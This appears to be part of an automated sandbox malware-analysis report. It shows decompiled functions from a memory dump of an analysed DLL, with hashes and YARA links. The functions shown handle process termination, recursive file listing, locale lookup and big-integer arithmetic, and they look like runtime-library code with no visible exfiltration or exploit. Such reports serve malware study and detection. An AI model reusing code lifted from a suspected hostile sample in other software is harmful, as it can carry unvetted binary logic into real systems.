GetCurrentProcess.KERNEL32(6E17E0B7,?,6E17DF6F,6E17E0B7,6E1B94E8,0000000C,6E17E0B7), ref: 6E17DFBA
TerminateProcess.KERNEL32(00000000,?,6E17DF6F,6E17E0B7,6E1B94E8,0000000C,6E17E0B7), ref: 6E17DFC1
ExitProcess.KERNEL32 ref: 6E17DFD3

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1273ad77f42c3865184a665e44a70fc20c410cdfe474dd11977487c96a7a0e74
Instruction ID: d3daca672e88143122f04d2cb263aa14b1f499a43ef315ec0d57f2cb67843cb3
Opcode Fuzzy Hash: 1273ad77f42c3865184a665e44a70fc20c410cdfe474dd11977487c96a7a0e74
Instruction Fuzzy Hash: 89E0BF31100548ABCF115FA5C908ADD3B7DFB45689F158414F949CB521CB76E9D7EA40

Uniqueness

Uniqueness Score: -1.00%

Function 6E188626, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E6E188626(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr* _v32;
				CHAR* _v36;
				signed int _v48;
				char _v286;
				signed int _v287;
				struct _WIN32_FIND_DATAA _v332;
				intOrPtr* _v336;
				signed int _v340;
				signed int _v344;
				intOrPtr _v372;
				signed int _t35;
				signed int _t40;
				signed int _t43;
				intOrPtr _t45;
				signed char _t47;
				intOrPtr* _t55;
				union _FINDEX_INFO_LEVELS _t57;
				signed int _t62;
				signed int _t65;
				void* _t72;
				void* _t74;
				signed int _t75;
				void* _t78;
				CHAR* _t79;
				intOrPtr* _t83;
				intOrPtr _t85;
				void* _t87;
				intOrPtr* _t88;
				signed int _t92;
				signed int _t96;
				void* _t101;
				intOrPtr _t102;
				signed int _t105;
				union _FINDEX_INFO_LEVELS _t106;
				void* _t111;
				intOrPtr _t112;
				void* _t113;
				signed int _t118;
				void* _t119;
				signed int _t120;
				void* _t121;
				void* _t122;

				_push(__ecx);
				_t83 = _a4;
				_t2 = _t83 + 1; // 0x1
				_t101 = _t2;
				do {
					_t35 =  *_t83;
					_t83 = _t83 + 1;
				} while (_t35 != 0);
				_push(__edi);
				_t105 = _a12;
				_t85 = _t83 - _t101 + 1;
				_v8 = _t85;
				if(_t85 <= (_t35 | 0xffffffff) - _t105) {
					_push(__ebx);
					_push(__esi);
					_t5 = _t105 + 1; // 0x1
					_t78 = _t5 + _t85;
					_t111 = E6E17FB55(_t85, _t78, 1);
					_pop(_t87);
					__eflags = _t105;
					if(_t105 == 0) {
						L6:
						_push(_v8);
						_t78 = _t78 - _t105;
						_t40 = E6E18D133(_t87, _t111 + _t105, _t78, _a4);
						_t120 = _t119 + 0x10;
						__eflags = _t40;
						if(__eflags != 0) {
							goto L9;
						} else {
							_t72 = E6E188865(_a16, __eflags, _t111);
							E6E17FBB2(0);
							_t74 = _t72;
							goto L8;
						}
					} else {
						_push(_t105);
						_t75 = E6E18D133(_t87, _t111, _t78, _a8);
						_t120 = _t119 + 0x10;
						__eflags = _t75;
						if(_t75 != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E6E178956();
							asm("int3");
							_t118 = _t120;
							_t121 = _t120 - 0x150;
							_t43 =  *0x6e1bb164; // 0x55e3ddbb
							_v48 = _t43 ^ _t118;
							_t88 = _v32;
							_push(_t78);
							_t79 = _v36;
							_push(_t111);
							_t112 = _v332.cAlternateFileName;
							_push(_t105);
							_v372 = _t112;
							while(1) {
								__eflags = _t88 - _t79;
								if(_t88 == _t79) {
									break;
								}
								_t45 =  *_t88;
								__eflags = _t45 - 0x2f;
								if(_t45 != 0x2f) {
									__eflags = _t45 - 0x5c;
									if(_t45 != 0x5c) {
										__eflags = _t45 - 0x3a;
										if(_t45 != 0x3a) {
											_t88 = E6E18E070(_t79, _t88);
											continue;
										}
									}
								}
								break;
							}
							_t102 =  *_t88;
							__eflags = _t102 - 0x3a;
							if(_t102 != 0x3a) {
								L19:
								_t106 = 0;
								__eflags = _t102 - 0x2f;
								if(_t102 == 0x2f) {
									L23:
									_t47 = 1;
									__eflags = 1;
								} else {
									__eflags = _t102 - 0x5c;
									if(_t102 == 0x5c) {
										goto L23;
									} else {
										__eflags = _t102 - 0x3a;
										if(_t102 == 0x3a) {
											goto L23;
										} else {
											_t47 = 0;
										}
									}
								}
								_t90 = _t88 - _t79 + 1;
								asm("sbb eax, eax");
								_v340 =  ~(_t47 & 0x000000ff) & _t88 - _t79 + 0x00000001;
								E6E1757E0(_t106,  &_v332, _t106, 0x140);
								_t122 = _t121 + 0xc;
								_t113 = FindFirstFileExA(_t79, _t106,  &_v332, _t106, _t106, _t106);
								_t55 = _v336;
								__eflags = _t113 - 0xffffffff;
								if(_t113 != 0xffffffff) {
									_t92 =  *((intOrPtr*)(_t55 + 4)) -  *_t55;
									__eflags = _t92;
									_t93 = _t92 >> 2;
									_v344 = _t92 >> 2;
									do {
										__eflags = _v332.cFileName - 0x2e;
										if(_v332.cFileName != 0x2e) {
											L36:
											_push(_t55);
											_t57 = E6E188626(_t79, _t93, _t106, _t113,  &(_v332.cFileName), _t79, _v340);
											_t122 = _t122 + 0x10;
											__eflags = _t57;
											if(_t57 != 0) {
												goto L26;
											} else {
												goto L37;
											}
										} else {
											_t93 = _v287;
											__eflags = _t93;
											if(_t93 == 0) {
												goto L37;
											} else {
												__eflags = _t93 - 0x2e;
												if(_t93 != 0x2e) {
													goto L36;
												} else {
													__eflags = _v286;
													if(_v286 == 0) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L40;
										L37:
										_t62 = FindNextFileA(_t113,  &_v332);
										__eflags = _t62;
										_t55 = _v336;
									} while (_t62 != 0);
									_t103 =  *_t55;
									_t96 = _v344;
									_t65 =  *((intOrPtr*)(_t55 + 4)) -  *_t55 >> 2;
									__eflags = _t96 - _t65;
									if(_t96 != _t65) {
										E6E18DC90(_t79, _t106, _t113, _t103 + _t96 * 4, _t65 - _t96, 4, E6E18847E);
									}
								} else {
									_push(_t55);
									_t57 = E6E188626(_t79, _t90, _t106, _t113, _t79, _t106, _t106);
									L26:
									_t106 = _t57;
								}
								__eflags = _t113 - 0xffffffff;
								if(_t113 != 0xffffffff) {
									FindClose(_t113);
								}
							} else {
								__eflags = _t88 -  &(_t79[1]);
								if(_t88 ==  &(_t79[1])) {
									goto L19;
								} else {
									_push(_t112);
									E6E188626(_t79, _t88, 0, _t112, _t79, 0, 0);
								}
							}
							__eflags = _v12 ^ _t118;
							return E6E173D51(_v12 ^ _t118);
						} else {
							goto L6;
						}
					}
				} else {
					_t74 = 0xc;
					L8:
					return _t74;
				}
				L40:
			}

0x6e18862b
0x6e18862c
0x6e18862f
0x6e18862f
0x6e188632
0x6e188632
0x6e188634
0x6e188635
0x6e18863e
0x6e18863f
0x6e188642
0x6e188645
0x6e18864a
0x6e188651
0x6e188652
0x6e188653
0x6e188656
0x6e188660
0x6e188663
0x6e188664
0x6e188666
0x6e18867a
0x6e18867a
0x6e18867d
0x6e188687
0x6e18868c
0x6e18868f
0x6e188691
0x00000000
0x6e188693
0x6e188697
0x6e1886a0
0x6e1886a6
0x00000000
0x6e1886a9
0x6e188668
0x6e188668
0x6e18866e
0x6e188673
0x6e188676
0x6e188678
0x6e1886af
0x6e1886b1
0x6e1886b2
0x6e1886b3
0x6e1886b4
0x6e1886b5
0x6e1886b6
0x6e1886bb
0x6e1886bf
0x6e1886c1
0x6e1886c7
0x6e1886ce
0x6e1886d1
0x6e1886d4
0x6e1886d5
0x6e1886d8
0x6e1886d9
0x6e1886dc
0x6e1886dd
0x6e1886fe
0x6e1886fe
0x6e188700
0x00000000
0x00000000
0x6e1886e5
0x6e1886e7
0x6e1886e9
0x6e1886eb
0x6e1886ed
0x6e1886ef
0x6e1886f1
0x6e1886fc
0x00000000
0x6e1886fc
0x6e1886f1
0x6e1886ed
0x00000000
0x6e1886e9
0x6e188702
0x6e188704
0x6e188707
0x6e188720
0x6e188720
0x6e188722
0x6e188725
0x6e188735
0x6e188737
0x6e188737
0x6e188727
0x6e188727
0x6e18872a
0x00000000
0x6e18872c
0x6e18872c
0x6e18872f
0x00000000
0x6e188731
0x6e188731
0x6e188731
0x6e18872f
0x6e18872a
0x6e18873d
0x6e188745
0x6e188749
0x6e188757
0x6e18875c
0x6e188771
0x6e188773
0x6e188779
0x6e18877c
0x6e1887ae
0x6e1887ae
0x6e1887b0
0x6e1887b3
0x6e1887b9
0x6e1887b9
0x6e1887c0
0x6e1887da
0x6e1887da
0x6e1887e9
0x6e1887ee
0x6e1887f1
0x6e1887f3
0x00000000
0x00000000
0x00000000
0x00000000
0x6e1887c2
0x6e1887c2
0x6e1887c8
0x6e1887ca
0x00000000
0x6e1887cc
0x6e1887cc
0x6e1887cf
0x00000000
0x6e1887d1
0x6e1887d1
0x6e1887d8
0x00000000
0x00000000
0x00000000
0x00000000
0x6e1887d8
0x6e1887cf
0x6e1887ca
0x00000000
0x6e1887f5
0x6e1887fd
0x6e188803
0x6e188805
0x6e188805
0x6e18880d
0x6e188812
0x6e18881a
0x6e18881d
0x6e18881f
0x6e188833
0x6e188838
0x6e18877e
0x6e18877e
0x6e188782
0x6e18878a
0x6e18878a
0x6e18878a
0x6e18878c
0x6e18878f
0x6e188792
0x6e188792
0x6e188709
0x6e18870c
0x6e18870e
0x00000000
0x6e188710
0x6e188710
0x6e188716
0x6e18871b
0x6e18870e
0x6e18879f
0x6e1887aa
0x00000000
0x00000000
0x00000000
0x6e188678
0x6e18864c
0x6e18864e
0x6e1886aa
0x6e1886ae
0x6e1886ae
0x00000000

Strings

., xrefs: 6E1887B9

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: d54a9816586ef03fa1d07f5e6e518624cf911570d485b74ef6ecae44449f0094
Instruction ID: fd9b3ee68a3dbf31eb69bf4ab2feee75d7f7d6cb4a2c262cfa4b85ca2d632630
Opcode Fuzzy Hash: d54a9816586ef03fa1d07f5e6e518624cf911570d485b74ef6ecae44449f0094
Instruction Fuzzy Hash: FD313872900209AFCB14CEB8CC85EEB7BBDEF85304F6005A8F469D7254E63099859F50

Uniqueness

Uniqueness Score: -1.00%

Function 6E183961, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,6E18142E,?,00000004), ref: 6E1839B4

Strings

GetLocaleInfoEx, xrefs: 6E183972, 6E18397C

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: 110c0a60c154961242a499129dbbb3d49c13ff142e64a4b2c601004474c286a9
Instruction ID: 58dde7b33bb06da823e8adbf43a5c7e620fdde3986fda77aa8e366eb3cf0c1da
Opcode Fuzzy Hash: 110c0a60c154961242a499129dbbb3d49c13ff142e64a4b2c601004474c286a9
Instruction Fuzzy Hash: 6DF09071A00618BBCF019FA0CD08EAF7B69EF19710F454555FC056B250DB329E91FE95

Uniqueness

Uniqueness Score: -1.00%

Function 6E17CEC0, Relevance: 3.5, APIs: 2, Instructions: 464
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E6E17CEC0(signed int* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int* _v80;
				char _v540;
				signed int _v544;
				signed int _t197;
				signed int _t198;
				signed int* _t200;
				signed int _t201;
				signed int _t204;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				signed int _t213;
				signed int _t219;
				intOrPtr _t225;
				void* _t228;
				signed int _t230;
				signed int _t247;
				signed int _t250;
				void* _t253;
				signed int _t256;
				signed int* _t262;
				signed int _t263;
				signed int _t264;
				void* _t265;
				intOrPtr* _t266;
				signed int _t267;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				signed int* _t274;
				signed int* _t278;
				signed int _t279;
				signed int _t280;
				intOrPtr _t282;
				void* _t286;
				signed char _t292;
				signed int _t295;
				signed int _t303;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t311;
				signed int _t313;
				intOrPtr* _t314;
				signed int _t318;
				signed int _t322;
				signed int* _t328;
				signed int _t330;
				signed int _t331;
				signed int _t333;
				void* _t334;
				signed int _t336;
				signed int _t338;
				signed int _t341;
				signed int _t342;
				signed int* _t344;
				signed int _t349;
				signed int _t351;
				void* _t355;
				signed int _t359;
				signed int _t360;
				signed int _t362;
				signed int* _t368;
				signed int* _t369;
				signed int* _t370;
				signed int* _t373;

				_t262 = _a4;
				_t197 =  *_t262;
				if(_t197 != 0) {
					_t328 = _a8;
					_t267 =  *_t328;
					__eflags = _t267;
					if(_t267 != 0) {
						_t3 = _t197 - 1; // -1
						_t349 = _t3;
						_t4 = _t267 - 1; // -1
						_t198 = _t4;
						_v16 = _t349;
						__eflags = _t198;
						if(_t198 != 0) {
							__eflags = _t198 - _t349;
							if(_t198 > _t349) {
								L23:
								__eflags = 0;
								return 0;
							} else {
								_t46 = _t198 + 1; // 0x0
								_t306 = _t349 - _t198;
								_v60 = _t46;
								_t269 = _t349;
								__eflags = _t349 - _t306;
								if(_t349 < _t306) {
									L21:
									_t306 = _t306 + 1;
									__eflags = _t306;
								} else {
									_t368 =  &(_t262[_t349 + 1]);
									_t341 =  &(( &(_t328[_t269 - _t306]))[1]);
									__eflags = _t341;
									while(1) {
										__eflags =  *_t341 -  *_t368;
										if( *_t341 !=  *_t368) {
											break;
										}
										_t269 = _t269 - 1;
										_t341 = _t341 - 4;
										_t368 = _t368 - 4;
										__eflags = _t269 - _t306;
										if(_t269 >= _t306) {
											continue;
										} else {
											goto L21;
										}
										goto L22;
									}
									_t369 = _a8;
									_t54 = (_t269 - _t306) * 4; // 0xfc23b5a
									__eflags =  *((intOrPtr*)(_t369 + _t54 + 4)) -  *((intOrPtr*)(_t262 + 4 + _t269 * 4));
									if( *((intOrPtr*)(_t369 + _t54 + 4)) <  *((intOrPtr*)(_t262 + 4 + _t269 * 4))) {
										goto L21;
									}
								}
								L22:
								__eflags = _t306;
								if(__eflags != 0) {
									_t330 = _v60;
									_t200 = _a8;
									_t351 =  *(_t200 + _t330 * 4);
									_t64 = _t330 * 4; // 0xffff21b7
									_t201 =  *((intOrPtr*)(_t200 + _t64 - 4));
									_v36 = _t201;
									asm("bsr eax, esi");
									_v56 = _t351;
									if(__eflags == 0) {
										_t270 = 0x20;
									} else {
										_t270 = 0x1f - _t201;
									}
									_v40 = _t270;
									_v64 = 0x20 - _t270;
									__eflags = _t270;
									if(_t270 != 0) {
										_t292 = _v40;
										_v36 = _v36 << _t292;
										_v56 = _t351 << _t292 | _v36 >> _v64;
										__eflags = _t330 - 2;
										if(_t330 > 2) {
											_t79 = _t330 * 4; // 0xe850ffff
											_t81 =  &_v36;
											 *_t81 = _v36 |  *(_a8 + _t79 - 8) >> _v64;
											__eflags =  *_t81;
										}
									}
									_v76 = 0;
									_t307 = _t306 + 0xffffffff;
									__eflags = _t307;
									_v32 = _t307;
									if(_t307 < 0) {
										_t331 = 0;
										__eflags = 0;
									} else {
										_t85 =  &(_t262[1]); // 0x4
										_v20 =  &(_t85[_t307]);
										_t206 = _t307 + _t330;
										_t90 = _t262 - 4; // -4
										_v12 = _t206;
										_t278 = _t90 + _t206 * 4;
										_v80 = _t278;
										do {
											__eflags = _t206 - _v16;
											if(_t206 > _v16) {
												_t207 = 0;
												__eflags = 0;
											} else {
												_t207 = _t278[2];
											}
											__eflags = _v40;
											_t311 = _t278[1];
											_t279 =  *_t278;
											_v52 = _t207;
											_v44 = 0;
											_v8 = _t207;
											_v24 = _t279;
											if(_v40 > 0) {
												_t318 = _v8;
												_t336 = _t279 >> _v64;
												_t230 = E6E18F610(_t311, _v40, _t318);
												_t279 = _v40;
												_t207 = _t318;
												_t311 = _t336 | _t230;
												_t359 = _v24 << _t279;
												__eflags = _v12 - 3;
												_v8 = _t318;
												_v24 = _t359;
												if(_v12 >= 3) {
													_t279 = _v64;
													_t360 = _t359 |  *(_t262 + (_v60 + _v32) * 4 - 8) >> _t279;
													__eflags = _t360;
													_t207 = _v8;
													_v24 = _t360;
												}
											}
											_t208 = E6E18F2C0(_t311, _t207, _v56, 0);
											_v44 = _t262;
											_t263 = _t208;
											_v44 = 0;
											_t209 = _t311;
											_v8 = _t263;
											_v28 = _t209;
											_t333 = _t279;
											_v72 = _t263;
											_v68 = _t209;
											__eflags = _t209;
											if(_t209 != 0) {
												L40:
												_t264 = _t263 + 1;
												asm("adc eax, 0xffffffff");
												_t333 = _t333 + E6E173D70(_t264, _t209, _v56, 0);
												asm("adc esi, edx");
												_t263 = _t264 | 0xffffffff;
												_t209 = 0;
												__eflags = 0;
												_v44 = 0;
												_v8 = _t263;
												_v72 = _t263;
												_v28 = 0;
												_v68 = 0;
											} else {
												__eflags = _t263 - 0xffffffff;
												if(_t263 > 0xffffffff) {
													goto L40;
												}
											}
											__eflags = 0;
											if(0 <= 0) {
												if(0 < 0) {
													goto L44;
												} else {
													__eflags = _t333 - 0xffffffff;
													if(_t333 <= 0xffffffff) {
														while(1) {
															L44:
															_v8 = _v24;
															_t228 = E6E173D70(_v36, 0, _t263, _t209);
															__eflags = _t311 - _t333;
															if(__eflags < 0) {
																break;
															}
															if(__eflags > 0) {
																L47:
																_t209 = _v28;
																_t263 = _t263 + 0xffffffff;
																_v72 = _t263;
																asm("adc eax, 0xffffffff");
																_t333 = _t333 + _v56;
																__eflags = _t333;
																_v28 = _t209;
																asm("adc dword [ebp-0x28], 0x0");
																_v68 = _t209;
																if(_t333 == 0) {
																	__eflags = _t333 - 0xffffffff;
																	if(_t333 <= 0xffffffff) {
																		continue;
																	} else {
																	}
																}
															} else {
																__eflags = _t228 - _v8;
																if(_t228 <= _v8) {
																	break;
																} else {
																	goto L47;
																}
															}
															L51:
															_v8 = _t263;
															goto L52;
														}
														_t209 = _v28;
														goto L51;
													}
												}
											}
											L52:
											__eflags = _t209;
											if(_t209 != 0) {
												L54:
												_t280 = _v60;
												_t334 = 0;
												_t355 = 0;
												__eflags = _t280;
												if(_t280 != 0) {
													_t266 = _v20;
													_t219 =  &(_a8[1]);
													__eflags = _t219;
													_v24 = _t219;
													_v16 = _t280;
													do {
														_v44 =  *_t219;
														_t225 =  *_t266;
														_t286 = _t334 + _v72 * _v44;
														asm("adc esi, edx");
														_t334 = _t355;
														_t355 = 0;
														__eflags = _t225 - _t286;
														if(_t225 < _t286) {
															_t334 = _t334 + 1;
															asm("adc esi, esi");
														}
														 *_t266 = _t225 - _t286;
														_t266 = _t266 + 4;
														_t219 = _v24 + 4;
														_t164 =  &_v16;
														 *_t164 = _v16 - 1;
														__eflags =  *_t164;
														_v24 = _t219;
													} while ( *_t164 != 0);
													_t263 = _v8;
													_t280 = _v60;
												}
												__eflags = 0 - _t355;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L63:
														__eflags = _t280;
														if(_t280 != 0) {
															_t338 = _t280;
															_t314 = _v20;
															_t362 =  &(_a8[1]);
															__eflags = _t362;
															_t265 = 0;
															do {
																_t282 =  *_t314;
																_t172 = _t362 + 4; // 0xa6a5959
																_t362 = _t172;
																_t314 = _t314 + 4;
																asm("adc eax, eax");
																 *((intOrPtr*)(_t314 - 4)) = _t282 +  *((intOrPtr*)(_t362 - 4)) + _t265;
																asm("adc eax, 0x0");
																_t265 = 0;
																_t338 = _t338 - 1;
																__eflags = _t338;
															} while (_t338 != 0);
															_t263 = _v8;
														}
														_t263 = _t263 + 0xffffffff;
														asm("adc dword [ebp-0x18], 0xffffffff");
													} else {
														__eflags = _v52 - _t334;
														if(_v52 < _t334) {
															goto L63;
														}
													}
												}
												_t213 = _v12 - 1;
												__eflags = _t213;
												_v16 = _t213;
											} else {
												__eflags = _t263;
												if(_t263 != 0) {
													goto L54;
												}
											}
											_t331 = 0 + _t263;
											asm("adc esi, 0x0");
											_v20 = _v20 - 4;
											_t313 = _v32 - 1;
											_t262 = _a4;
											_t278 = _v80 - 4;
											_t206 = _v12 - 1;
											_v76 = _t331;
											_v32 = _t313;
											_v80 = _t278;
											_v12 = _t206;
											__eflags = _t313;
										} while (_t313 >= 0);
									}
									_t309 = _v16 + 1;
									_t204 = _t309;
									__eflags = _t204 -  *_t262;
									if(_t204 <  *_t262) {
										_t191 = _t204 + 1; // 0x6e18ad0b
										_t274 =  &(_t262[_t191]);
										do {
											 *_t274 = 0;
											_t194 =  &(_t274[1]); // 0x91850fc2
											_t274 = _t194;
											_t204 = _t204 + 1;
											__eflags = _t204 -  *_t262;
										} while (_t204 <  *_t262);
									}
									 *_t262 = _t309;
									__eflags = _t309;
									if(_t309 != 0) {
										while(1) {
											_t271 =  *_t262;
											__eflags = _t262[_t271];
											if(_t262[_t271] != 0) {
												goto L78;
											}
											_t272 = _t271 + 0xffffffff;
											__eflags = _t272;
											 *_t262 = _t272;
											if(_t272 != 0) {
												continue;
											}
											goto L78;
										}
									}
									L78:
									return _t331;
								} else {
									goto L23;
								}
							}
						} else {
							_t6 =  &(_t328[1]); // 0xfc23b5a
							_t295 =  *_t6;
							_v44 = _t295;
							__eflags = _t295 - 1;
							if(_t295 != 1) {
								__eflags = _t349;
								if(_t349 != 0) {
									_t342 = 0;
									_v12 = 0;
									_v8 = 0;
									_v20 = 0;
									__eflags = _t349 - 0xffffffff;
									if(_t349 != 0xffffffff) {
										_t250 = _v16 + 1;
										__eflags = _t250;
										_v32 = _t250;
										_t373 =  &(_t262[_t349 + 1]);
										do {
											_t253 = E6E18F2C0( *_t373, _t342, _t295, 0);
											_v68 = _t303;
											_t373 = _t373 - 4;
											_v20 = _t262;
											_t342 = _t295;
											_t303 = 0 + _t253;
											asm("adc ecx, 0x0");
											_v12 = _t303;
											_t34 =  &_v32;
											 *_t34 = _v32 - 1;
											__eflags =  *_t34;
											_v8 = _v12;
											_t295 = _v44;
										} while ( *_t34 != 0);
										_t262 = _a4;
									}
									_v544 = 0;
									_t41 =  &(_t262[1]); // 0x4
									_t370 = _t41;
									 *_t262 = 0;
									E6E17C542(_t370, 0x1cc,  &_v540, 0);
									_t247 = _v20;
									__eflags = 0 - _t247;
									 *_t370 = _t342;
									_t262[2] = _t247;
									asm("sbb ecx, ecx");
									__eflags =  ~0x00000000;
									 *_t262 = 0xbadbae;
									return _v12;
								} else {
									_t14 =  &(_t262[1]); // 0x4
									_t344 = _t14;
									_v544 = 0;
									 *_t262 = 0;
									E6E17C542(_t344, 0x1cc,  &_v540, 0);
									_t256 = _t262[1];
									_t322 = _t256 % _v44;
									__eflags = 0 - _t322;
									 *_t344 = _t322;
									asm("sbb ecx, ecx");
									__eflags = 0;
									 *_t262 =  ~0x00000000;
									return _t256 / _v44;
								}
							} else {
								_t9 =  &(_t262[1]); // 0x4
								_v544 = _t198;
								 *_t262 = _t198;
								E6E17C542(_t9, 0x1cc,  &_v540, _t198);
								__eflags = 0;
								return _t262[1];
							}
						}
					} else {
						__eflags = 0;
						return 0;
					}
				} else {
					return _t197;
				}
			}

0x6e17cecc
0x6e17cecf
0x6e17ced3
0x6e17cedd
0x6e17cee0
0x6e17cee2
0x6e17cee4
0x6e17cef1
0x6e17cef1
0x6e17cef4
0x6e17cef4
0x6e17cef7
0x6e17cefa
0x6e17cefc
0x6e17d02f
0x6e17d031
0x6e17d07a
0x6e17d07e
0x6e17d084
0x6e17d033
0x6e17d035
0x6e17d038
0x6e17d03a
0x6e17d03d
0x6e17d03f
0x6e17d041
0x6e17d075
0x6e17d075
0x6e17d075
0x6e17d043
0x6e17d048
0x6e17d04e
0x6e17d04e
0x6e17d051
0x6e17d053
0x6e17d055
0x00000000
0x00000000
0x6e17d057
0x6e17d058
0x6e17d05b
0x6e17d05e
0x6e17d060
0x00000000
0x6e17d062
0x00000000
0x6e17d062
0x00000000
0x6e17d060
0x6e17d064
0x6e17d06b
0x6e17d06f
0x6e17d073
0x00000000
0x00000000
0x6e17d073
0x6e17d076
0x6e17d076
0x6e17d078
0x6e17d085
0x6e17d088
0x6e17d08b
0x6e17d08e
0x6e17d08e
0x6e17d092
0x6e17d095
0x6e17d098
0x6e17d09b
0x6e17d0a6
0x6e17d09d
0x6e17d0a2
0x6e17d0a2
0x6e17d0b0
0x6e17d0b5
0x6e17d0b8
0x6e17d0ba
0x6e17d0c4
0x6e17d0c7
0x6e17d0ce
0x6e17d0d1
0x6e17d0d4
0x6e17d0dc
0x6e17d0e2
0x6e17d0e2
0x6e17d0e2
0x6e17d0e2
0x6e17d0d4
0x6e17d0e7
0x6e17d0ee
0x6e17d0ee
0x6e17d0f1
0x6e17d0f4
0x6e17d326
0x6e17d326
0x6e17d0fa
0x6e17d0fa
0x6e17d100
0x6e17d103
0x6e17d106
0x6e17d109
0x6e17d10c
0x6e17d10f
0x6e17d112
0x6e17d112
0x6e17d115
0x6e17d11c
0x6e17d11c
0x6e17d117
0x6e17d117
0x6e17d117
0x6e17d11e
0x6e17d122
0x6e17d125
0x6e17d127
0x6e17d12a
0x6e17d131
0x6e17d134
0x6e17d137
0x6e17d142
0x6e17d145
0x6e17d14a
0x6e17d14f
0x6e17d156
0x6e17d15b
0x6e17d15d
0x6e17d15f
0x6e17d163
0x6e17d166
0x6e17d169
0x6e17d171
0x6e17d17a
0x6e17d17a
0x6e17d17c
0x6e17d17f
0x6e17d17f
0x6e17d169
0x6e17d189
0x6e17d18e
0x6e17d193
0x6e17d195
0x6e17d198
0x6e17d19a
0x6e17d19d
0x6e17d1a0
0x6e17d1a2
0x6e17d1a5
0x6e17d1a8
0x6e17d1aa
0x6e17d1b1
0x6e17d1b6
0x6e17d1b9
0x6e17d1c3
0x6e17d1c5
0x6e17d1c7
0x6e17d1ca
0x6e17d1ca
0x6e17d1cc
0x6e17d1cf
0x6e17d1d2
0x6e17d1d5
0x6e17d1d8
0x6e17d1ac
0x6e17d1ac
0x6e17d1af
0x00000000
0x00000000
0x6e17d1af
0x6e17d1db
0x6e17d1dd
0x6e17d1df
0x00000000
0x6e17d1e1
0x6e17d1e1
0x6e17d1e4
0x6e17d1e6
0x6e17d1e6
0x6e17d1f4
0x6e17d1f7
0x6e17d1fc
0x6e17d1fe
0x00000000
0x00000000
0x6e17d200
0x6e17d207
0x6e17d207
0x6e17d20a
0x6e17d20d
0x6e17d210
0x6e17d213
0x6e17d213
0x6e17d216
0x6e17d219
0x6e17d21d
0x6e17d220
0x6e17d222
0x6e17d225
0x00000000
0x00000000
0x6e17d227
0x6e17d225
0x6e17d202
0x6e17d202
0x6e17d205
0x00000000
0x00000000
0x00000000
0x00000000
0x6e17d205
0x6e17d22c
0x6e17d22c
0x00000000
0x6e17d22c
0x6e17d229
0x00000000
0x6e17d229
0x6e17d1e4
0x6e17d1df
0x6e17d22f
0x6e17d22f
0x6e17d231
0x6e17d23b
0x6e17d23b
0x6e17d23e
0x6e17d240
0x6e17d242
0x6e17d244
0x6e17d249
0x6e17d24c
0x6e17d24c
0x6e17d24f
0x6e17d252
0x6e17d255
0x6e17d257
0x6e17d26c
0x6e17d26e
0x6e17d270
0x6e17d272
0x6e17d274
0x6e17d276
0x6e17d278
0x6e17d27a
0x6e17d27d
0x6e17d27d
0x6e17d281
0x6e17d283
0x6e17d289
0x6e17d28c
0x6e17d28c
0x6e17d28c
0x6e17d290
0x6e17d290
0x6e17d295
0x6e17d298
0x6e17d298
0x6e17d29d
0x6e17d29f
0x6e17d2a1
0x6e17d2a8
0x6e17d2a8
0x6e17d2aa
0x6e17d2af
0x6e17d2b1
